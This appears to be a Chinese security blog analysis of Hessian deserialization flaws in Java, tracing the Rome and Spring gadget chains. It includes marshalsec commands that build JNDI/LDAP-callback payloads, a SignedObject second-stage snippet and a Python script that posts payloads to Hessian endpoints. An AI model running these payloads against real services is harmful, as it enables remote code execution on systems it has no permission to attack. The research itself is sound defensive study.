Hessian反序列化漏洞分析和利用链

先看一下 GPT 对 Hessian 的介绍
Hessian 是一个基于二进制协议的远程调用框架,用于实现不同系统和平台之间的通信。它最初由 Caucho Technology 公司开发,用于在 Java 应用程序之间进行高效的远程调用。Hessian 的设计目标是简单、轻量级、高效,并且跨语言支持。

Hessian 使用二进制数据格式来序列化和反序列化对象,相比于文本格式(如 XML 或 JSON),二进制格式在网络传输效率上更高。这使得 Hessian 在网络带宽有限或需要更高性能的场景下具有优势。

Hessian 通过定义接口和实现类的方式,使得远程调用看起来像是本地方法调用一样简单直观。它支持传输任意的 Java 对象,包括基本类型、自定义对象和集合等,同时也支持异常处理和多种数据类型的序列化。

除了 Java,Hessian 还有其他语言的实现,比如 Python 和 C#,这使得不同语言的系统能够通过 Hessian 进行跨语言的远程调用。这种跨语言的特性使得 Hessian 在分布式系统和微服务架构中得到广泛应用。

1. 编写和运行 Hessian

1.1 Servlet

官网介绍的如何使用
image-20240309121159784

  • 导入依赖

    1
    2
    3
    4
    5
    <dependency>
    <groupId>com.caucho</groupId>
    <artifactId>hessian</artifactId>
    <version>4.0.66</version>
    </dependency>
  • 服务端 (添加在 SecForJSP项目中)

image-20240309121236409

  • Hessian Client

image-20240309121306522


1.2 Spring

可以参考:https://www.baeldung.com/spring-remoting-hessian-burlap

2. 分析和调试 Hessian

2.1 远程调用

编写服务器端时可以看到,Servlet 继承的 HessianServlet,也是基于 HttpServlet

  1. 如下是入口:com.caucho.hessian.server.HessinServlet#service处理流程

image-20240309121318754

  1. 向下继续,看到会读取 Client的 Header 信息,并判断 创建哪种 inputsteamoutputStream

image.png

  1. 再向下,看到熟悉的 readObject(),但是这个 readObjectHessianInputreadObject,先继续向下调试

image.png

  1. 下面的流程先获取了 Method、参数、反射执行方法并返回结果

image.png
将返回的 result 写入 Hession2Output中,并返回给 Client
image.png
正常的流程就这些,并不复杂

  • 补充一下有哪些 method 可以调用

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
"getServletConfig" -> {Method@4989} "public javax.servlet.ServletConfig javax.servlet.GenericServlet.getServletConfig()"
"getClass" -> {Method@4991} "public final native java.lang.Class java.lang.Object.getClass()"
"setService_Object" -> {Method@4993} "public void com.caucho.hessian.server.HessianServlet.setService(java.lang.Object)"
"setObjectAPI_Class" -> {Method@4995} "public void com.caucho.hessian.server.HessianServlet.setObjectAPI(java.lang.Class)"
"log_string_Throwable" -> {Method@4997} "public void javax.servlet.GenericServlet.log(java.lang.String,java.lang.Throwable)"
"setLogName__1" -> {Method@4999} "public void com.caucho.hessian.server.HessianServlet.setLogName(java.lang.String)"
"hashCode__0" -> {Method@5001} "public native int java.lang.Object.hashCode()"
"getServletName__0" -> {Method@5003} "public java.lang.String javax.servlet.GenericServlet.getServletName()"
"setObject__1" -> {Method@5005} "public void com.caucho.hessian.server.HessianServlet.setObject(java.lang.Object)"
"init_ServletConfig" -> {Method@5007} "public void com.caucho.hessian.server.HessianServlet.init(javax.servlet.ServletConfig) throws javax.servlet.ServletException"
"setObjectAPI__1" -> {Method@4995} "public void com.caucho.hessian.server.HessianServlet.setObjectAPI(java.lang.Class)"
"getServletInfo" -> {Method@5010} "public java.lang.String com.caucho.hessian.server.HessianServlet.getServletInfo()"
"setObject" -> {Method@5005} "public void com.caucho.hessian.server.HessianServlet.setObject(java.lang.Object)"
"getInitParameter_string" -> {Method@5013} "public java.lang.String javax.servlet.GenericServlet.getInitParameter(java.lang.String)"
"getInitParameterNames" -> {Method@5015} "public java.util.Enumeration javax.servlet.GenericServlet.getInitParameterNames()"
"setHome__1" -> {Method@5017} "public void com.caucho.hessian.server.HessianServlet.setHome(java.lang.Object)"
"equals_Object" -> {Method@5021} "public boolean java.lang.Object.equals(java.lang.Object)"
"getServletContext__0" -> {Method@5023} "public javax.servlet.ServletContext javax.servlet.GenericServlet.getServletContext()"
"destroy__0" -> {Method@5025} "public void javax.servlet.GenericServlet.destroy()"
"setSerializerFactory__1" -> {Method@5027} "public void com.caucho.hessian.server.HessianServlet.setSerializerFactory(com.caucho.hessian.io.SerializerFactory)"
"setDebug__1" -> {Method@5029} "public void com.caucho.hessian.server.HessianServlet.setDebug(boolean)"
"log__2" -> {Method@4997} "public void javax.servlet.GenericServlet.log(java.lang.String,java.lang.Throwable)"
"setObject_Object" -> {Method@5005} "public void com.caucho.hessian.server.HessianServlet.setObject(java.lang.Object)"
"log__1" -> {Method@5033} "public void javax.servlet.GenericServlet.log(java.lang.String)"
"init" -> {Method@5035} "public void javax.servlet.GenericServlet.init() throws javax.servlet.ServletException"
"deny" -> {Method@5037} "public void com.caucho.hessian.server.HessianServlet.deny(java.lang.String)"
"sayHello" -> {Method@4841} "public java.lang.String Sec19.HessianService.sayHello(java.lang.String)"
"allow_string" -> {Method@5039} "public void com.caucho.hessian.server.HessianServlet.allow(java.lang.String)"
"setWhitelist__1" -> {Method@5041} "public void com.caucho.hessian.server.HessianServlet.setWhitelist(boolean)"
"setHomeAPI" -> {Method@5043} "public void com.caucho.hessian.server.HessianServlet.setHomeAPI(java.lang.Class)"
"setHomeAPI_Class" -> {Method@5043} "public void com.caucho.hessian.server.HessianServlet.setHomeAPI(java.lang.Class)"
"setSendCollectionType__1" -> {Method@5048} "public void com.caucho.hessian.server.HessianServlet.setSendCollectionType(boolean)"
"wait_long_int" -> {Method@5019} "public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException"
"setWhitelist" -> {Method@5041} "public void com.caucho.hessian.server.HessianServlet.setWhitelist(boolean)"
"setHomeAPI__1" -> {Method@5043} "public void com.caucho.hessian.server.HessianServlet.setHomeAPI(java.lang.Class)"
"destroy" -> {Method@5025} "public void javax.servlet.GenericServlet.destroy()"
"setHome" -> {Method@5017} "public void com.caucho.hessian.server.HessianServlet.setHome(java.lang.Object)"
"getInitParameter__1" -> {Method@5013} "public java.lang.String javax.servlet.GenericServlet.getInitParameter(java.lang.String)"
"setAPIClass__1" -> {Method@5055} "public void com.caucho.hessian.server.HessianServlet.setAPIClass(java.lang.Class)"
"setWhitelist_boolean" -> {Method@5041} "public void com.caucho.hessian.server.HessianServlet.setWhitelist(boolean)"
"wait__0" -> {Method@5058} "public final void java.lang.Object.wait() throws java.lang.InterruptedException"
"setLogName" -> {Method@4999} "public void com.caucho.hessian.server.HessianServlet.setLogName(java.lang.String)"
"getInitParameter" -> {Method@5013} "public java.lang.String javax.servlet.GenericServlet.getInitParameter(java.lang.String)"
"wait__2" -> {Method@5019} "public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException"
"wait__1" -> {Method@5063} "public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException"
"setHome_Object" -> {Method@5017} "public void com.caucho.hessian.server.HessianServlet.setHome(java.lang.Object)"
"service_ServletRequest_ServletResponse" -> {Method@5066} "public void com.caucho.hessian.server.HessianServlet.service(javax.servlet.ServletRequest,javax.servlet.ServletResponse) throws java.io.IOException,javax.servlet.ServletException"
"notify__0" -> {Method@5068} "public final native void java.lang.Object.notify()"
"allow" -> {Method@5039} "public void com.caucho.hessian.server.HessianServlet.allow(java.lang.String)"
"wait" -> {Method@5058} "public final void java.lang.Object.wait() throws java.lang.InterruptedException"
"getServletContext" -> {Method@5023} "public javax.servlet.ServletContext javax.servlet.GenericServlet.getServletContext()"
"log" -> {Method@4997} "public void javax.servlet.GenericServlet.log(java.lang.String,java.lang.Throwable)"
"toString__0" -> {Method@5074} "public java.lang.String java.lang.Object.toString()"
"notifyAll" -> {Method@5076} "public final native void java.lang.Object.notifyAll()"
"notifyAll__0" -> {Method@5076} "public final native void java.lang.Object.notifyAll()"
"sayHello__1" -> {Method@4841} "public java.lang.String Sec19.HessianService.sayHello(java.lang.String)"
"getAPIClass__0" -> {Method@5080} "public java.lang.Class com.caucho.hessian.server.HessianServlet.getAPIClass()"
"setLogName_string" -> {Method@4999} "public void com.caucho.hessian.server.HessianServlet.setLogName(java.lang.String)"
"deny__1" -> {Method@5037} "public void com.caucho.hessian.server.HessianServlet.deny(java.lang.String)"
"setAPIClass" -> {Method@5055} "public void com.caucho.hessian.server.HessianServlet.setAPIClass(java.lang.Class)"
"setDebug" -> {Method@5029} "public void com.caucho.hessian.server.HessianServlet.setDebug(boolean)"
"deny_string" -> {Method@5037} "public void com.caucho.hessian.server.HessianServlet.deny(java.lang.String)"
"notify" -> {Method@5068} "public final native void java.lang.Object.notify()"
"service__2" -> {Method@5066} "public void com.caucho.hessian.server.HessianServlet.service(javax.servlet.ServletRequest,javax.servlet.ServletResponse) throws java.io.IOException,javax.servlet.ServletException"
"setAPIClass_Class" -> {Method@5055} "public void com.caucho.hessian.server.HessianServlet.setAPIClass(java.lang.Class)"
"getClass__0" -> {Method@4991} "public final native java.lang.Class java.lang.Object.getClass()"
"sayHello_string" -> {Method@4841} "public java.lang.String Sec19.HessianService.sayHello(java.lang.String)"
"setSendCollectionType_boolean" -> {Method@5048} "public void com.caucho.hessian.server.HessianServlet.setSendCollectionType(boolean)"
"hashCode" -> {Method@5001} "public native int java.lang.Object.hashCode()"
"setSerializerFactory_SerializerFactory" -> {Method@5027} "public void com.caucho.hessian.server.HessianServlet.setSerializerFactory(com.caucho.hessian.io.SerializerFactory)"
"init__1" -> {Method@5007} "public void com.caucho.hessian.server.HessianServlet.init(javax.servlet.ServletConfig) throws javax.servlet.ServletException"
"init__0" -> {Method@5035} "public void javax.servlet.GenericServlet.init() throws javax.servlet.ServletException"
"setSendCollectionType" -> {Method@5048} "public void com.caucho.hessian.server.HessianServlet.setSendCollectionType(boolean)"
"getAPIClass" -> {Method@5080} "public java.lang.Class com.caucho.hessian.server.HessianServlet.getAPIClass()"
"getSerializerFactory" -> {Method@5099} "public com.caucho.hessian.io.SerializerFactory com.caucho.hessian.server.HessianServlet.getSerializerFactory()"
"getServletName" -> {Method@5003} "public java.lang.String javax.servlet.GenericServlet.getServletName()"
"setService__1" -> {Method@4993} "public void com.caucho.hessian.server.HessianServlet.setService(java.lang.Object)"
"wait_long" -> {Method@5063} "public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException"
"log_string" -> {Method@5033} "public void javax.servlet.GenericServlet.log(java.lang.String)"
"setObjectAPI" -> {Method@4995} "public void com.caucho.hessian.server.HessianServlet.setObjectAPI(java.lang.Class)"
"getServletInfo__0" -> {Method@5010} "public java.lang.String com.caucho.hessian.server.HessianServlet.getServletInfo()"
"setService" -> {Method@4993} "public void com.caucho.hessian.server.HessianServlet.setService(java.lang.Object)"
"setDebug_boolean" -> {Method@5029} "public void com.caucho.hessian.server.HessianServlet.setDebug(boolean)"
"getInitParameterNames__0" -> {Method@5015} "public java.util.Enumeration javax.servlet.GenericServlet.getInitParameterNames()"
"getServletConfig__0" -> {Method@4989} "public javax.servlet.ServletConfig javax.servlet.GenericServlet.getServletConfig()"
"setSerializerFactory" -> {Method@5027} "public void com.caucho.hessian.server.HessianServlet.setSerializerFactory(com.caucho.hessian.io.SerializerFactory)"
"service" -> {Method@5066} "public void com.caucho.hessian.server.HessianServlet.service(javax.servlet.ServletRequest,javax.servlet.ServletResponse) throws java.io.IOException,javax.servlet.ServletException"
"getSerializerFactory__0" -> {Method@5099} "public com.caucho.hessian.io.SerializerFactory com.caucho.hessian.server.HessianServlet.getSerializerFactory()"
"equals" -> {Method@5021} "public boolean java.lang.Object.equals(java.lang.Object)"
"equals__1" -> {Method@5021} "public boolean java.lang.Object.equals(java.lang.Object)"
"allow__1" -> {Method@5039} "public void com.caucho.hessian.server.HessianServlet.allow(java.lang.String)"
"toString" -> {Method@5074} "public java.lang.String java.lang.Object.toString()"

2.2 序列化和反序列化

在上面测试远程调用的过程中,读取和写入数据都用到 readObjectwriteObject,但是这并不是原生的序列化和反序列化,而是 Hessian 自己按照定义的格式实现的功能,因此这里分析一下Hessian 对于对象的序列化和反序列化

  • 编写测试一下 Hessian2.0协议的序列化和反序列化功能
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    package Serialization;

    import com.caucho.hessian.io.Hessian2Input;
    import com.caucho.hessian.io.Hessian2Output;

    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.FileOutputStream;

    public class serialDemo {

    public static void main(String[] args) throws Exception{
    Person person1=new Person();
    person1.setName("www");
    person1.setAge(10);
    //序列化
    ByteArrayOutputStream os = new ByteArrayOutputStream();
    Hessian2Output hessian2Output = new Hessian2Output(os);
    hessian2Output.writeObject(person1);
    hessian2Output.close();
    System.out.println(os);
    FileOutputStream fos = new FileOutputStream("/tmp/person.bin");
    fos.write(os.toByteArray());
    fos.flush();
    fos.close();
    System.out.println("--------------------");
    // 反序列化
    ByteArrayInputStream is = new ByteArrayInputStream(os.toByteArray());
    Hessian2Input hessian2Input = new Hessian2Input(is);
    Person person2 = (Person)hessian2Input.readObject();
    System.out.println(person2.toString());
    System.out.println(person2.getName());
    System.out.println(person2.getAge());

    }

    }

    image.png
    image.png

2.2.1 序列化

  1. writeObject 调试分析,首先从 SerializerFactory 中根据类获取对应的序列化工具;自定义的类使用的是 UnsafeSerializer

image.png

  1. 看一下 getObjectSerializer 方法,步入过程不多说了,图片右边有堆栈信息,过程会判断目标类的类型,默认使用 getDefaultSerializer()获取反序列化工具对象

image.png

  1. getDefaultSerializer方法会判断类是否实现了 Serializable 接口,如果没有实现会抛出异常,最终返回了默认的序列化工具类com.caucho.hessian.io.UnsafeSerializer

image.png

  1. 回到步骤 1 中,继续分析 UnsafeSerializer#writeObject

67 对应 16 进制 0x43,类似于一种tag标识
image.png

2.2.2 反序列化

  1. 首先读取 tag,进入 switch 开始反序列化
    1. 初始情况下,读取一个字节,并确保是 8 位无符号整数

image.png

1
2
3
public final int read() throws IOException {
return this._length <= this._offset && !this.readBuffer() ? -1 : this._buffer[this._offset++] & 255;
}
  1. 然后使用 this.readObjectDefinition((Class)null)读取数据
  • 反序列化解析 Object 的流程

image.png

  • readString()读取数据的方法

image.png

  • 继续调用循环 readObject()方法

image.png

  1. 继续读取tag,进入 switch 分支,这里的标识数值是 0x60 也就是 96,这个 tag 对应开始加载 Object 实例

image.png

  1. 看下序列化数据的 16 进制内容,如图;整体上比原生的序列化简化很多很多

iShot_2024-03-08_14.22.40.png

  1. 上面有个问题,就是”age”字段的值是 10,但是最后一位数据是 0x9a,这个差别很大;

实际上在第3 步中,读取 String 类型和 Int 的类型字段的”工具类”不同,String 类型会先读取长度,在读取数据,Int 类型的字段值是 10,但是最后一位数据是 0x9a (十进制 154),答案在下图中,Int 类型的 readInt 方法会减去 144
image.png

2.3 漏洞点

这样的序列化和反序列化就和原生 readObject 那些漏洞不一样了,网上的文章也有很多,漏洞存在于MapDeserializer#readMap针对 Map类型的反序列化过程中

2.3.1 Map 类型的反序列化

  1. 示例进行序列化和反序列化

image.png
2. 使用 MapDeserializer进行反序列化
image.png

  1. 新建一个 HashMap 对象,通过 readOject 读取序列化数据后,puthashmap

image.png
漏洞点也就这里,在原生的反序列化中,和 Map 类型牵扯很多
image.png
HashMap 触发的 key.hashCode()
image.png
[2] TreeMap 中的 compare
image.png
image.png

3. 利用链

利用工具主要是marshalsec,包含的利用链

  • Rome
    • 依赖:com.rometools.rome
  • XBean
    • 依赖:org.apache.xbean.xbean-naming
  • Resin
    • 依赖:com.caucho.quercus
  • SpringPartiallyComparableAdvisorHolder
    • 依赖:org.springframewor.spring-aop、org.springframework.spring-context、org.aspectj.aspectjweaver
  • SpringAbstractBeanFactoryPointcutAdvisor
    • 依赖:org.springframewor.spring-aop、org.springframework.spring-context

image.png
简单分析两个RomeSpringPartiallyComparableAdvisorHolder

3.1 Rome利用链

3.1.1 marshalsec生成 Exp

  1. 生成Exp

    1
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Rome ldap://127.0.0.1:1088 > /tmp/hessian/rome0.bin

    image.png

  2. Exp的层级结构

image.png

  1. makeHashCodeTrigger(Object o) 方法

    这里有个问题,v1和 v2 都是一样的,且 Key 和 value 也是一样的,这样会导致exp 会触发四次么?

image.png

  • 返回 Hessian 序列化数据,这里可以看到,允许设置没有实现 Serializable 的类

image.png

3.1.2 利用链分析

  1. 反序列化测试,这里验证了步骤 3 的猜想,触发了 4 次 ldap 请求;这里后面可以改一下marshalsec解决这个问题

image.png

  1. 这里到了 2.3.1 中触发 Hashcode 的地方

image.png

  1. 进入利用链com.rometools.rome.feed.impl.EqualsBean.class#hashCode,在构造过程中 this.obj 初始化是 ToStringBean类型的对象
image.png
  1. com.rometools.rome.feed.impl.ToStringBean#toString(),在构造过程中,this.obj 中是JdbcRowSetImpl类型

image.png

  1. 进入com.rometools.rome.feed.impl.ToStringBean#toString(String prefix),如图,获取 this.obj 中所有的无参的 Getter 方法,并且反射调用

image.png
BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass);
image.png

  1. 触发 JdbcRowSetImpl#getDataBaseMetaData方法

image.png

  1. JdbcRowSetImpl#connect()方法,进而触发 lookup 导致 JNDI 远程调用,进而 RCE

image.png

1
2
3
4
5
6
7
8
9
HashMap.put
HashMap.hash
Object.hashCode
EqualsBean.hashCode
EqualsBean.beanHashCode
ToStringBean.toString
JdbcRowSetImpl.getDataBaseMetaData
JdbcRowSetImpl.connect
InitialContext.lookup

3.1.3 二次反序列化不出网利用

在 3.1.2 分析利用链的第 8 步中,会触发对象的无参Getter方法,如图,java.security.SignedObject#getObject()中触发原生的反序列化RCE,导致二次反序列化
image.png

1
2
3
4
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(EvilObject, kp.getPrivate(), Signature.getInstance("DSA"));

使用 Rome + Commonsbeanutils
组合二次反序列化,不出网触发 RCE
image.png
image.png

  • 测试 打一下 Web 项目中HessianSevlet

image.png

3.2 SpringPartiallyComparableAdvisorHolder利用链

3.2.1 生成

image.png

3.2.2 利用链分析

  1. HashMap.put调用key.equals(Object o)方法
    image.png

  2. 这里通过 marshalsec 生成的 Exp,第二层是 HotSwappable 类,他的 equals(Object x)会调用参数的 equals 方法, 实际上利用链还是从 XString#equals开始,如下图

image.png

  1. 进入AspectJAwareAdvisorAutoProxyCreator#toString方法

image.png

  1. 进入BeanFactoryAspectInstanceFactory#getOrder()方法

image.png

  1. 如图堆栈所示,最终触发 JNDI远程调用

image.png
image.png

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian SpringPartiallyComparableAdvisorHolder ldap://127.0.0.1:1088

image.png

3.3 URLDNS - 报错

按照前面的分析,感觉 URLDNS 利用链也满足需求,但是这里在 java.net.URL 反序列化时抛出异常了
image.png
原因:Java的Unsafe.allocateInstance()方法是用来创建一个对象实例,但它要求类必须有默认的构造函数
image.png

4. 实战应用

4.1 审计

HessianServletHessian2InputHessianInput

4.1.2 远程调用利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python
# coding=utf-8
import requests
import argparse

def load(name):
header=b'\x63\x02\x00\x48\x00\x04'+'test'
with open(name,'rb') as f:
return header+f.read()

def send(url,payload):
proxies = {'http':'127.0.0.1:8080'}
headers={'Content-Type':'x-application/hessian'}
data=payload
res=requests.post(url,headers=headers,data=data,proxies=proxies)
return res.text

def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", help="http://x.x.x.x")
parser.add_argument("-p",help="payload file")
args = parser.parse_args()
if args.u==None or args.p==None:
print('eg. python hessian.py -u http://127.0.0.1/hessian -p hessian.bins')
else:
send(args.u, load(args.p))
if __name__ == '__main__':
main()
#load('hessian')

PS: 执行两次的原因在 3.1.1 第 3 步中,后面有时间可以修改这个问题
image.png

  • 增加 Groovy 利用链
  • Spring AOP 利用链不出网利用链挖掘

引用

[1] https://www.diguage.com/post/hessian-source-analysis-for-java/

[2] https://su18.org/post/hessian/